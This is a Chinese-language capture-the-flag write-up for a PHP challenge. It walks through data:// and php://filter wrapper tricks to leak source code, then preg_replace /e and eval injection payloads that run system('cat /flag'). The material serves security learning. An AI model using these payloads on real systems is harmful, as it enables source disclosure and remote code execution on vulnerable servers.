<?phperror_reporting(0);
$text = $_GET["text"];//以get方式提交text
$file = $_GET["file"];//以get方式提交file
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){//file_get_content需要读到一个$text传来的内容为I have a dream的文件echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){//正则表达式匹配die("Not now!"); } include($file); //next.php,包含并执行file
}else{ highlight_file(__FILE__);
}
?>
file_get_content函数会把整个文件读入一个字符串中,语法为file_get_contents(path,include_path,context,start,max_length),需要读取一个$text传来的内容为I have a dream的文件
data协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。
使用方法:data://text/plain;base64,xxx(xxx为base64编码后的数据)
满足text的payload:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=
往下看file的条件, flag 被过滤了,提示通过 include 将包含并执行 next.php
这里需要用到php://filter协议读内容的知识
php://filter/read=convert.base64-encode/resource=xxxx
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,也可以进行任意文件的读取,具有resource(要过滤的数据流)、read(读链筛选的数据流)、write(写链筛选的数据流)等等参数。
?
在知道使用php://filter/read之后,为什么read后会跟一些奇怪的参数,include一个文件中有php代码会进行php解析,如果是明文传输,则会直接返回。用了过滤器,如果是php文件就不会解析,就可以拿到php文件的源码了,虽然是以base64回显在页面,但是只要通过base64解码即可
满足file的payload:
php://filter/read=convert.base64-encode/resource=next.php
构造满足text且满足file的payload:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
再用base64解码
解码后的next.php:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}
function getFlag(){@eval($_GET['cmd']);
}
?>
通过 foreach 传参给 complex 函数, preg_replace在/e情况下存在漏洞,匹配成功则解析然后替换【preg_replace使用了 /e 模式,在该函数的第一个和第三个参数都是可控的,官方 payload 为:/?.*={${phpinfo()}},即GET方式传入的参数名为 /?.* ,值为 {${phpinfo()}},但是在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,导致我们正则匹配失效则,现在要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}}即可执行phpinfo函数。这里提供一个payload :\S*=${phpinfo()}】
?\S*=${phpinfo()}
方法一:
引号会被转义,用的 chr 拼接 system 的参数 payload:
/next.php?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
方法二:
next.php提示getFlag
function getFlag(){
@eval($_GET['cmd']);
}
payload:
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');